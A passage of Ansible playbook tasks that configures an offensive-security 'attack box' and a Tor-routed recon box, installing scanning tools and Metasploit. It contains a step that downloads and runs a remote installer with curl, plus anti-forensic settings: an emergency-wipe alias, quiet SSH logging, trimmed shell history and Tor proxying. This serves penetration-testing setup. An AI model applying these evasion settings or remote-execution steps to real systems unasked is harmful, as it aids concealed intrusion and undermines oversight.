|
||||||
|
- automake
|
||||||
|
- libtool
|
||||||
|
- pkg-config
|
||||||
|
- libssl-dev
|
||||||
|
- libffi-dev
|
||||||
|
- libxml2-dev
|
||||||
|
- libxslt1-dev
|
||||||
|
- zlib1g-dev
|
||||||
|
- libjpeg-dev
|
||||||
|
- libpng-dev
|
||||||
|
- libgif-dev
|
||||||
|
- libfreetype6-dev
|
||||||
|
- libmagic-dev
|
||||||
|
- libpcap-dev
|
||||||
|
- libnetfilter-queue-dev
|
||||||
|
- libnfnetlink-dev
|
||||||
|
- libdnet-dev
|
||||||
|
- libpcre3-dev
|
||||||
|
- libgtk2.0-dev
|
||||||
|
- libgtk-3-dev
|
||||||
|
register: apt_install_result
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Show package installation progress
|
||||||
|
debug:
|
||||||
|
msg: "Package {{ item.item }} installation: {{ 'SUCCESS' if item.changed else 'ALREADY INSTALLED' }}"
|
||||||
|
loop: "{{ apt_install_result.results }}"
|
||||||
|
when: apt_install_result.results is defined
|
||||||
|
|
||||||
|
- name: Check if pipx is available
|
||||||
|
ansible.builtin.command: pipx --version
|
||||||
|
register: pipx_version_check
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Install pipx if not available
|
||||||
|
ansible.builtin.apt:
|
||||||
|
name: pipx
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
when: pipx_version_check.rc != 0
|
||||||
|
retries: 2
|
||||||
|
delay: 5
|
||||||
|
|
||||||
|
- name: Display pipx availability
|
||||||
|
debug:
|
||||||
|
msg: "Pipx version: {{ pipx_version_check.stdout if pipx_version_check.rc == 0 else 'Pipx was not found but has been installed' }}"
|
||||||
|
|
||||||
|
- name: Ensure pipx is properly configured
|
||||||
|
ansible.builtin.shell: pipx ensurepath
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: pipx_ensurepath_result
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display pipx configuration result
|
||||||
|
debug:
|
||||||
|
msg: "Pipx ensurepath: {{ pipx_ensurepath_result.stdout }}"
|
||||||
|
|
||||||
|
- name: Upload pipx tools installation script
|
||||||
|
ansible.builtin.copy:
|
||||||
|
src: "../../modules/attack-box/files/install_pipx_tools.sh"
|
||||||
|
dest: /tmp/install_pipx_tools.sh
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Execute pipx tools installation script
|
||||||
|
ansible.builtin.shell: /tmp/install_pipx_tools.sh
|
||||||
|
register: pipx_install_result
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Display pipx installation summary
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Pipx installation completed!
|
||||||
|
Check the detailed output above for individual tool status.
|
||||||
|
Full output captured in deployment logs.
|
||||||
|
|
||||||
|
- name: Display pipx installation status
|
||||||
|
debug:
|
||||||
|
msg: "Pipx installation {{ 'completed successfully' if pipx_install_result.rc == 0 else 'completed with some failures' }}"
|
||||||
|
when: pipx_install_result is defined
|
||||||
|
|
||||||
|
- name: Install additional Python packages via pip3 (for libraries)
|
||||||
|
ansible.builtin.pip:
|
||||||
|
name:
|
||||||
|
- requests
|
||||||
|
- beautifulsoup4
|
||||||
|
- lxml
|
||||||
|
- selenium
|
||||||
|
- paramiko
|
||||||
|
- capstone
|
||||||
|
- keystone-engine
|
||||||
|
- unicorn
|
||||||
|
- dnspython
|
||||||
|
- netaddr
|
||||||
|
- python-nmap
|
||||||
|
state: present
|
||||||
|
executable: pip3
|
||||||
|
retries: 2
|
||||||
|
delay: 5
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Check if Go is available
|
||||||
|
ansible.builtin.command: go version
|
||||||
|
register: go_version_check
|
||||||
|
failed_when: false
|
||||||
|
|
||||||
|
- name: Display Go version
|
||||||
|
debug:
|
||||||
|
msg: "Go version: {{ go_version_check.stdout if go_version_check.rc == 0 else 'Go not found - skipping Go tools installation' }}"
|
||||||
|
|
||||||
|
- name: Upload Go tools installation script
|
||||||
|
ansible.builtin.copy:
|
||||||
|
src: "../files/install_go_tools.sh"
|
||||||
|
dest: /tmp/install_go_tools.sh
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Execute Go tools installation script
|
||||||
|
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_go_tools.sh
|
||||||
|
register: go_install_result
|
||||||
|
when: go_version_check.rc == 0
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Display Go tools installation summary
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Go tools installation completed!
|
||||||
|
Check the detailed output above for individual tool status.
|
||||||
|
Full output captured in deployment logs.
|
||||||
|
|
||||||
|
- name: Configure PATH for all installed tools
|
||||||
|
ansible.builtin.blockinfile:
|
||||||
|
path: /root/.bashrc
|
||||||
|
block: |
|
||||||
|
# Attack Box Tool Paths
|
||||||
|
export WORK_DIR="{{ work_dir }}"
|
||||||
|
export GOPATH="{{ work_dir }}/tools/go"
|
||||||
|
export PATH="$PATH:/root/.local/bin" # pipx tools
|
||||||
|
export PATH="$PATH:/usr/local/go/bin" # Go binary
|
||||||
|
export PATH="$PATH:$GOPATH/bin" # Go tools
|
||||||
|
export PATH="$PATH:{{ work_dir }}/tools" # Custom tools
|
||||||
|
export PATH="$PATH:/opt/metasploit-framework/bin" # Metasploit
|
||||||
|
|
||||||
|
# Useful aliases for attack box
|
||||||
|
alias workspace="cd {{ work_dir }}"
|
||||||
|
alias tools="cd {{ work_dir }}/tools"
|
||||||
|
alias scans="cd {{ work_dir }}/scans"
|
||||||
|
alias loot="cd {{ work_dir }}/loot"
|
||||||
|
alias trashpanda="python3 {{ work_dir }}/tools/{{ tool_name }}.py"
|
||||||
|
alias ll="ls -la"
|
||||||
|
alias la="ls -la"
|
||||||
|
# Persistent tmux socket (prevents /tmp cleanup from killing sessions)
|
||||||
|
export TMUX_TMPDIR="/root/.local/share/tmux"
|
||||||
|
marker: "# {mark} ATTACK BOX CONFIGURATION"
|
||||||
|
create: yes
|
||||||
|
|
||||||
|
- name: Create persistent tmux socket directory
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: /root/.local/share/tmux
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
|
||||||
|
- name: Source bashrc to apply PATH changes
|
||||||
|
ansible.builtin.shell: source /root/.bashrc
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
|
||||||
|
- name: Upload Git repositories cloning script
|
||||||
|
ansible.builtin.copy:
|
||||||
|
src: "../files/install_git_repos.sh"
|
||||||
|
dest: /tmp/install_git_repos.sh
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Execute Git repositories cloning script
|
||||||
|
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" /tmp/install_git_repos.sh
|
||||||
|
register: git_clone_result
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Display Git repositories cloning summary
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
Git repositories cloning completed!
|
||||||
|
Check the detailed output above for individual repository status.
|
||||||
|
Full output captured in deployment logs.
|
||||||
|
|
||||||
|
- name: Install Metasploit (latest nightly build)
|
||||||
|
shell: |
|
||||||
|
cd /tmp
|
||||||
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
|
||||||
|
chmod 755 msfinstall
|
||||||
|
./msfinstall
|
||||||
|
args:
|
||||||
|
creates: /opt/metasploit-framework/bin/msfconsole
|
||||||
|
|
||||||
|
- name: Copy TrashPanda tool to workspace directory
|
||||||
|
copy:
|
||||||
|
src: "../files/{{ tool_name }}.py"
|
||||||
|
dest: "{{ work_dir }}/tools/{{ tool_name }}.py"
|
||||||
|
mode: '0755'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
when: not (enhanced_opsec | default(false))
|
||||||
|
|
||||||
|
- name: Copy OPSEC monitoring scripts
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "{{ work_dir }}/tools/scripts/"
|
||||||
|
mode: '0755'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
loop:
|
||||||
|
- "../files/opsec-check.sh"
|
||||||
|
- "../files/emergency-wipe.sh"
|
||||||
|
- "../files/trash-cleanup.sh"
|
||||||
|
|
||||||
|
- name: Copy OPSEC-aware shell aliases
|
||||||
|
copy:
|
||||||
|
src: "../files/clean-shell-aliases"
|
||||||
|
dest: "{{ work_dir }}/tools/scripts/shell-aliases"
|
||||||
|
mode: '0644'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
|
||||||
|
- name: Copy automation scripts to tools directory
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "{{ work_dir }}/tools/scripts/"
|
||||||
|
mode: '0755'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
with_fileglob:
|
||||||
|
- "../files/*.sh"
|
||||||
|
- "../files/*.py"
|
||||||
|
when: not (enhanced_opsec | default(false))
|
||||||
|
|
||||||
|
- name: Create engagement log file
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
# Engagement Log - {{ ansible_date_time.iso8601 }}
|
||||||
|
# Attack Box Deployment: {{ attack_box_name | default('attack-box') }}
|
||||||
|
# IP Address: {{ ansible_default_ipv4.address | default('N/A') }}
|
||||||
|
#
|
||||||
|
# Directory Structure:
|
||||||
|
# {{ work_dir }}/tools/ - Downloaded/compiled tools and scripts
|
||||||
|
# {{ work_dir }}/scans/ - All scan results organized by type
|
||||||
|
# {{ work_dir }}/logs/ - Execution logs and debug output
|
||||||
|
# {{ work_dir }}/loot/ - Extracted credentials, hashes, and sensitive data
|
||||||
|
# {{ work_dir }}/payloads/ - Custom payloads and exploit code
|
||||||
|
# {{ work_dir }}/targets/ - Target lists and reconnaissance data
|
||||||
|
# {{ work_dir }}/screenshots/ - Visual evidence and GUI captures
|
||||||
|
# {{ work_dir }}/reports/ - Draft reports and documentation
|
||||||
|
# {{ work_dir }}/notes/ - Manual notes and observations
|
||||||
|
# {{ work_dir }}/exploits/ - Working exploits and proof-of-concepts
|
||||||
|
# {{ work_dir }}/wordlists/ - Custom and downloaded wordlists
|
||||||
|
# {{ work_dir }}/pcaps/ - Network captures and traffic analysis
|
||||||
|
#
|
||||||
|
# Log started: {{ ansible_date_time.iso8601 }}
|
||||||
|
|
||||||
|
dest: "{{ work_dir }}/logs/engagement.log"
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Create initial target template
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
# Target List Template
|
||||||
|
# Add targets one per line in various formats:
|
||||||
|
#
|
||||||
|
# Individual IPs:
|
||||||
|
# 192.168.1.10
|
||||||
|
# 10.0.0.5
|
||||||
|
#
|
||||||
|
# IP Ranges:
|
||||||
|
# 192.168.1.1-254
|
||||||
|
# 10.0.0.1-50
|
||||||
|
#
|
||||||
|
# CIDR Notation:
|
||||||
|
# 192.168.1.0/24
|
||||||
|
# 10.0.0.0/16
|
||||||
|
#
|
||||||
|
# Hostnames:
|
||||||
|
# target.example.com
|
||||||
|
# www.example.com
|
||||||
|
|
||||||
|
dest: "{{ work_dir }}/targets/targets.txt"
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0644'
|
||||||
|
force: no
|
||||||
|
|
||||||
|
- name: Create bash aliases for workflow (OPSEC mode)
|
||||||
|
lineinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
line: "{{ item }}"
|
||||||
|
create: yes
|
||||||
|
loop:
|
||||||
|
- "# Attack Box Aliases"
|
||||||
|
- "export WORK_DIR='{{ work_dir }}'"
|
||||||
|
- "alias ops='cd {{ work_dir }}'"
|
||||||
|
- "alias tools='cd {{ work_dir }}/tools'"
|
||||||
|
- "alias scans='cd {{ work_dir }}/scans'"
|
||||||
|
- "alias loot='cd {{ work_dir }}/loot'"
|
||||||
|
- "alias targets='cd {{ work_dir }}/targets'"
|
||||||
|
- "alias reports='cd {{ work_dir }}/reports'"
|
||||||
|
- "alias logs='cd {{ work_dir }}/logs'"
|
||||||
|
- "alias toolkit='python3 {{ work_dir }}/tools/toolkit.py'"
|
||||||
|
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
|
||||||
|
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||||
|
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||||
|
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||||
|
- "alias opsec='{{ work_dir }}/tools/scripts/opsec-check.sh'"
|
||||||
|
- "alias panic='{{ work_dir }}/tools/scripts/emergency-wipe.sh'"
|
||||||
|
- "alias clean='{{ work_dir }}/tools/scripts/trash-cleanup.sh'"
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
|
||||||
|
- name: Create bash aliases for workflow (Standard mode)
|
||||||
|
lineinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
line: "{{ item }}"
|
||||||
|
create: yes
|
||||||
|
loop:
|
||||||
|
- "# Attack Box Aliases"
|
||||||
|
- "export WORK_DIR='{{ work_dir }}'"
|
||||||
|
- "alias workspace='cd {{ work_dir }}'"
|
||||||
|
- "alias tools='cd {{ work_dir }}/tools'"
|
||||||
|
- "alias scans='cd {{ work_dir }}/scans'"
|
||||||
|
- "alias loot='cd {{ work_dir }}/loot'"
|
||||||
|
- "alias targets='cd {{ work_dir }}/targets'"
|
||||||
|
- "alias reports='cd {{ work_dir }}/reports'"
|
||||||
|
- "alias logs='cd {{ work_dir }}/logs'"
|
||||||
|
- "alias trashpanda='python3 {{ work_dir }}/tools/{{ tool_name }}.py'"
|
||||||
|
- "alias recon='{{ work_dir }}/tools/scripts/recon_automation.sh'"
|
||||||
|
- "alias portscan='{{ work_dir }}/tools/scripts/port_scan_automation.sh'"
|
||||||
|
- "alias webenum='{{ work_dir }}/tools/scripts/web_enum_automation.sh'"
|
||||||
|
- "alias attack-menu='{{ work_dir }}/tools/scripts/manual_testing_menu.sh'"
|
||||||
|
when: not (enhanced_opsec | default(false))
|
||||||
|
|
||||||
|
- name: Set Go path in bashrc
|
||||||
|
lineinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
line: "{{ item }}"
|
||||||
|
create: yes
|
||||||
|
loop:
|
||||||
|
- "export GOPATH={{ work_dir }}/tools/go"
|
||||||
|
- "export PATH=$PATH:{{ work_dir }}/tools/go/bin"
|
||||||
|
|
||||||
|
- name: Load OPSEC shell aliases (Enhanced OPSEC mode)
|
||||||
|
blockinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
block: |
|
||||||
|
# OPSEC-aware shell aliases
|
||||||
|
source {{ work_dir }}/tools/scripts/shell-aliases
|
||||||
|
marker: "# {mark} OPSEC SHELL ALIASES"
|
||||||
|
create: yes
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
|
||||||
|
- name: Configure hardened SSH (Enhanced OPSEC mode)
|
||||||
|
blockinfile:
|
||||||
|
path: "/etc/ssh/sshd_config"
|
||||||
|
block: |
|
||||||
|
# OPSEC hardened SSH configuration
|
||||||
|
LogLevel QUIET
|
||||||
|
TCPKeepAlive no
|
||||||
|
ClientAliveInterval 300
|
||||||
|
ClientAliveCountMax 2
|
||||||
|
MaxAuthTries 3
|
||||||
|
MaxSessions 2
|
||||||
|
LoginGraceTime 60
|
||||||
|
marker: "# {mark} OPSEC SSH HARDENING"
|
||||||
|
backup: yes
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
register: ssh_config_changed
|
||||||
|
|
||||||
|
- name: Restart SSH service if configuration changed
|
||||||
|
service:
|
||||||
|
name: ssh
|
||||||
|
state: restarted
|
||||||
|
when: enhanced_opsec | default(false) and ssh_config_changed.changed
|
||||||
|
|
||||||
|
- name: Disable bash history for OPSEC (Enhanced OPSEC mode)
|
||||||
|
lineinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
line: "{{ item }}"
|
||||||
|
create: yes
|
||||||
|
loop:
|
||||||
|
- "# OPSEC: Minimize command history"
|
||||||
|
- "export HISTSIZE=100"
|
||||||
|
- "export HISTFILESIZE=100"
|
||||||
|
- "export HISTCONTROL=ignoreboth:erasedups"
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
|
||||||
|
- name: Set up Tor if requested
|
||||||
|
block:
|
||||||
|
- name: Configure Tor
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
SocksPort 9050
|
||||||
|
ControlPort 9051
|
||||||
|
CookieAuthentication 1
|
||||||
|
DataDirectory /var/lib/tor
|
||||||
|
dest: /etc/tor/torrc
|
||||||
|
backup: yes
|
||||||
|
|
||||||
|
- name: Start and enable Tor
|
||||||
|
systemd:
|
||||||
|
name: tor
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
|
||||||
|
- name: Configure proxychains for Tor
|
||||||
|
replace:
|
||||||
|
path: /etc/proxychains4.conf
|
||||||
|
regexp: '^socks4.*127\.0\.0\.1.*9050.*$'
|
||||||
|
replace: 'socks5 127.0.0.1 9050'
|
||||||
|
when: setup_tor | default(false)
|
||||||
|
|
||||||
|
- name: Create themes directory
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: "{{ work_dir }}/tools/themes"
|
||||||
|
state: directory
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0755'
|
||||||
|
|
||||||
|
- name: Upload terminal theme installer script
|
||||||
|
ansible.builtin.copy:
|
||||||
|
src: "../files/install_terminal_themes.sh"
|
||||||
|
dest: "{{ work_dir }}/tools/scripts/install_terminal_themes.sh"
|
||||||
|
mode: '0755'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
|
||||||
|
- name: Upload DC27 dconf theme file
|
||||||
|
ansible.builtin.copy:
|
||||||
|
src: "../files/dc27-theme.dconf"
|
||||||
|
dest: "{{ work_dir }}/tools/themes/dc27-theme.dconf"
|
||||||
|
mode: '0644'
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
|
||||||
|
- name: Add terminal theme alias to bashrc
|
||||||
|
lineinfile:
|
||||||
|
path: "{{ user_home }}/.bashrc"
|
||||||
|
line: "alias install-themes='WORK_DIR={{ work_dir }} {{ work_dir }}/tools/scripts/install_terminal_themes.sh'"
|
||||||
|
create: yes
|
||||||
|
|
||||||
|
- name: Execute terminal theme installer during deployment
|
||||||
|
ansible.builtin.shell: WORK_DIR="{{ work_dir }}" {{ work_dir }}/tools/scripts/install_terminal_themes.sh
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: theme_install_result
|
||||||
|
when: install_terminal_themes | default(false)
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Display terminal theme installation result
|
||||||
|
debug:
|
||||||
|
msg: "Terminal themes {{ 'installed' if theme_install_result.rc == 0 else 'installation had issues (non-critical)' }}"
|
||||||
|
when: install_terminal_themes | default(false) and theme_install_result is defined
|
||||||
|
|
||||||
|
- name: Update locate database
|
||||||
|
command: updatedb
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Calculate configuration duration
|
||||||
|
set_fact:
|
||||||
|
config_end_time: "{{ ansible_date_time.epoch }}"
|
||||||
|
config_duration: "{{ (ansible_date_time.epoch|int - config_start_time|int) // 60 }}"
|
||||||
|
|
||||||
|
- name: Display attack box configuration summary
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
================================================================
|
||||||
|
ATTACK BOX CONFIGURATION COMPLETED
|
||||||
|
================================================================
|
||||||
|
Deployment ID: {{ deployment_id }}
|
||||||
|
Target: {{ ansible_host }}
|
||||||
|
Configuration Duration: {{ config_duration }} minutes
|
||||||
|
|
||||||
|
Directory Structure: {{ work_dir }}
|
||||||
|
├── docs/ - Documentation and notes
|
||||||
|
├── exploits/ - Exploit development
|
||||||
|
├── loot/ - Extracted data and findings
|
||||||
|
├── reports/ - Assessment reports
|
||||||
|
├── scripts/ - Custom automation scripts
|
||||||
|
├── tools/ - Security tools
|
||||||
|
│ ├── go/bin/ - Go-based tools
|
||||||
|
│ └── git/ - Git repositories
|
||||||
|
└── wordlists/ - Custom wordlists
|
||||||
|
|
||||||
|
Tools Installed:
|
||||||
|
- Base packages: ~100 security tools
|
||||||
|
- Python tools: ~30 tools via pipx
|
||||||
|
- Go tools: ~12 reconnaissance tools
|
||||||
|
- Git repositories: ~20 tool repositories
|
||||||
|
|
||||||
|
Environment:
|
||||||
|
- PATH configured for all tools
|
||||||
|
- pipx tools accessible system-wide
|
||||||
|
- Go tools in {{ work_dir }}/tools/go/bin
|
||||||
|
|
||||||
|
Next Steps:
|
||||||
|
1. SSH into the box: ssh -i a-{{ deployment_id }} root@{{ ansible_host }}
|
||||||
|
2. Navigate to working directory: cd {{ work_dir }}
|
||||||
|
3. Start your assessment activities
|
||||||
|
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
- name: Display setup completion information (OPSEC mode)
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "Attack Box Setup Complete!"
|
||||||
|
- ""
|
||||||
|
- "Main Directory: {{ work_dir }}"
|
||||||
|
- "Tools Location: {{ work_dir }}/tools"
|
||||||
|
- "Scan Results: {{ work_dir }}/scans"
|
||||||
|
- "Loot Storage: {{ work_dir }}/loot"
|
||||||
|
- ""
|
||||||
|
- "Quick Commands:"
|
||||||
|
- " ops - Go to main directory"
|
||||||
|
- " toolkit [targets] - Run toolkit enumeration"
|
||||||
|
- " recon <target> - Run reconnaissance automation"
|
||||||
|
- " portscan <target> - Run port scan automation"
|
||||||
|
- " webenum <target> - Run web enumeration automation"
|
||||||
|
- " attack-menu - Launch manual testing menu"
|
||||||
|
- " opsec - Check OPSEC status"
|
||||||
|
- " panic - Emergency sanitization"
|
||||||
|
- " clean - Clean operational artifacts"
|
||||||
|
- ""
|
||||||
|
- "Start here: {{ work_dir }}/targets/targets.txt"
|
||||||
|
when: enhanced_opsec | default(false)
|
||||||
|
|
||||||
|
- name: Display setup completion information (Standard mode)
|
||||||
|
debug:
|
||||||
|
msg:
|
||||||
|
- "TrashPanda Attack Box Setup Complete!"
|
||||||
|
- ""
|
||||||
|
- "Main Directory: {{ work_dir }}"
|
||||||
|
- "Tools Location: {{ work_dir }}/tools"
|
||||||
|
- "Scan Results: {{ work_dir }}/scans"
|
||||||
|
- "Loot Storage: {{ work_dir }}/loot"
|
||||||
|
- ""
|
||||||
|
- "Quick Commands:"
|
||||||
|
- " workspace - Go to main directory"
|
||||||
|
- " trashpanda [targets] - Run TrashPanda enumeration"
|
||||||
|
- " recon <target> - Run reconnaissance automation"
|
||||||
|
- " portscan <target> - Run port scan automation"
|
||||||
|
- " webenum <target> - Run web enumeration automation"
|
||||||
|
- " attack-menu - Launch manual testing menu"
|
||||||
|
- ""
|
||||||
|
- "Start here: {{ work_dir }}/targets/targets.txt"
|
||||||
|
when: not (enhanced_opsec | default(false))
|
||||||
@@ -0,0 +1,263 @@
|
|||||||
|
---
|
||||||
|
# Quick Recon Box Configuration - OPSEC + Basic Tools
|
||||||
|
# Includes Tor, VPN, and basic reconnaissance tools only
|
||||||
|
|
||||||
|
- name: Record configuration start time
|
||||||
|
set_fact:
|
||||||
|
config_start_time: "{{ ansible_date_time.epoch }}"
|
||||||
|
|
||||||
|
- name: Display quick recon box configuration info
|
||||||
|
debug:
|
||||||
|
msg: |
|
||||||
|
================================================================
|
||||||
|
CONFIGURING QUICK RECON BOX
|
||||||
|
================================================================
|
||||||
|
Deployment ID: {{ deployment_id }}
|
||||||
|
Attack Box Name: {{ attack_box_name }}
|
||||||
|
Target: OPSEC-focused reconnaissance with basic tools
|
||||||
|
Features: Tor + VPN + Basic Tools (no complex installations)
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
# Set up variables
|
||||||
|
- name: Set common variables
|
||||||
|
set_fact:
|
||||||
|
target_user: "root"
|
||||||
|
work_dir: "{{ work_dir | default('/root/' + deployment_id) }}"
|
||||||
|
deployment_id: "{{ deployment_id }}"
|
||||||
|
attack_box_name: "{{ attack_box_name }}"
|
||||||
|
|
||||||
|
# Core directories
|
||||||
|
- name: Create core working directories
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
owner: "{{ target_user }}"
|
||||||
|
group: "{{ target_user }}"
|
||||||
|
mode: '0755'
|
||||||
|
loop:
|
||||||
|
- "{{ work_dir }}"
|
||||||
|
- "{{ work_dir }}/scans"
|
||||||
|
- "{{ work_dir }}/loot"
|
||||||
|
- "{{ work_dir }}/notes"
|
||||||
|
- "/root/tools"
|
||||||
|
|
||||||
|
# Update system and install essential packages
|
||||||
|
- name: Update package cache
|
||||||
|
ansible.builtin.apt:
|
||||||
|
update_cache: yes
|
||||||
|
cache_valid_time: 3600
|
||||||
|
|
||||||
|
- name: Install minimal essential tools + OPSEC packages
|
||||||
|
ansible.builtin.apt:
|
||||||
|
name:
|
||||||
|
# Core system tools
|
||||||
|
- curl
|
||||||
|
- wget
|
||||||
|
- git
|
||||||
|
- vim
|
||||||
|
- tmux
|
||||||
|
- htop
|
||||||
|
- unzip
|
||||||
|
- python3
|
||||||
|
- jq
|
||||||
|
# Basic network reconnaissance
|
||||||
|
- nmap
|
||||||
|
- dnsutils
|
||||||
|
- whois
|
||||||
|
- netcat-traditional
|
||||||
|
- traceroute
|
||||||
|
# OPSEC tools
|
||||||
|
- tor
|
||||||
|
- torsocks
|
||||||
|
- proxychains4
|
||||||
|
- openvpn
|
||||||
|
- easy-rsa
|
||||||
|
state: present
|
||||||
|
install_recommends: no
|
||||||
|
|
||||||
|
- name: Configure Tor for anonymous reconnaissance
|
||||||
|
ansible.builtin.copy:
|
||||||
|
content: |
|
||||||
|
# Tor configuration for Quick Recon Box
|
||||||
|
DataDirectory /var/lib/tor
|
||||||
|
PidFile /var/run/tor/tor.pid
|
||||||
|
RunAsDaemon 1
|
||||||
|
User debian-tor
|
||||||
|
Log notice file /var/log/tor/notices.log
|
||||||
|
SocksPort 9050
|
||||||
|
SocksPolicy accept *
|
||||||
|
ControlPort 9051
|
||||||
|
CookieAuthentication 1
|
||||||
|
NewCircuitPeriod 30
|
||||||
|
MaxCircuitDirtiness 600
|
||||||
|
UseEntryGuards 1
|
||||||
|
ExitPolicy accept *:53
|
||||||
|
ExitPolicy accept *:80
|
||||||
|
ExitPolicy accept *:443
|
||||||
|
ExitPolicy accept *:993
|
||||||
|
ExitPolicy accept *:995
|
||||||
|
ExitPolicy reject *:*
|
||||||
|
CircuitBuildTimeout 10
|
||||||
|
LearnCircuitBuildTimeout 0
|
||||||
|
dest: /etc/tor/torrc
|
||||||
|
backup: yes
|
||||||
|
|
||||||
|
- name: Configure proxychains for Tor routing
|
||||||
|
ansible.builtin.copy:
|
||||||
|
content: |
|
||||||
|
# Proxychains configuration for Tor
|
||||||
|
strict_chain
|
||||||
|
proxy_dns
|
||||||
|
remote_dns_subnet 224
|
||||||
|
tcp_read_time_out 15000
|
||||||
|
tcp_connect_time_out 8000
|
||||||
|
localnet 127.0.0.0/255.0.0.0
|
||||||
|
quiet_mode
|
||||||
|
|
||||||
|
[ProxyList]
|
||||||
|
socks4 127.0.0.1 9050
|
||||||
|
dest: /etc/proxychains4.conf
|
||||||
|
backup: yes
|
||||||
|
|
||||||
|
- name: Start and enable Tor service
|
||||||
|
ansible.builtin.systemd:
|
||||||
|
name: tor
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
|
||||||
|
# VPN Setup
|
||||||
|
- name: Create OpenVPN directory structure
|
||||||
|
ansible.builtin.file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
loop:
|
||||||
|
- /etc/openvpn/server
|
||||||
|
- /etc/openvpn/client
|
||||||
|
- "{{ work_dir }}/vpn"
|
||||||
|
|
||||||
|
- name: Generate basic OpenVPN server config for quick recon
|
||||||
|
ansible.builtin.copy:
|
||||||
|
content: |
|
||||||
|
port 1194
|
||||||
|
proto udp
|
||||||
|
dev tun
|
||||||
|
server 10.8.0.0 255.255.255.0
|
||||||
|
ifconfig-pool-persist ipp.txt
|
||||||
|
keepalive 10 120
|
||||||
|
cipher AES-256-CBC
|
||||||
|
persist-key
|
||||||
|
persist-tun
|
||||||
|
status openvpn-status.log
|
||||||
|
log-append /var/log/openvpn.log
|
||||||
|
verb 3
|
||||||
|
explicit-exit-notify 1
|
||||||
|
dest: /etc/openvpn/server/quick-recon.conf
|
||||||
|
mode: '0644'
|
||||||
|
when: setup_vpn | default(false) | bool
|
||||||
|
|
||||||
|
- name: Create VPN client template
|
||||||
|
ansible.builtin.copy:
|
||||||
|
content: |
|
||||||
|
# Quick Recon VPN Client Config
|
||||||
|
# Server: {{ ansible_default_ipv4.address }}
|
||||||
|
# Generated: {{ ansible_date_time.iso8601 }}
|
||||||
|
|
||||||
|
client
|
||||||
|
dev tun
|
||||||
|
proto udp
|
||||||
|
remote {{ ansible_default_ipv4.address }} 1194
|
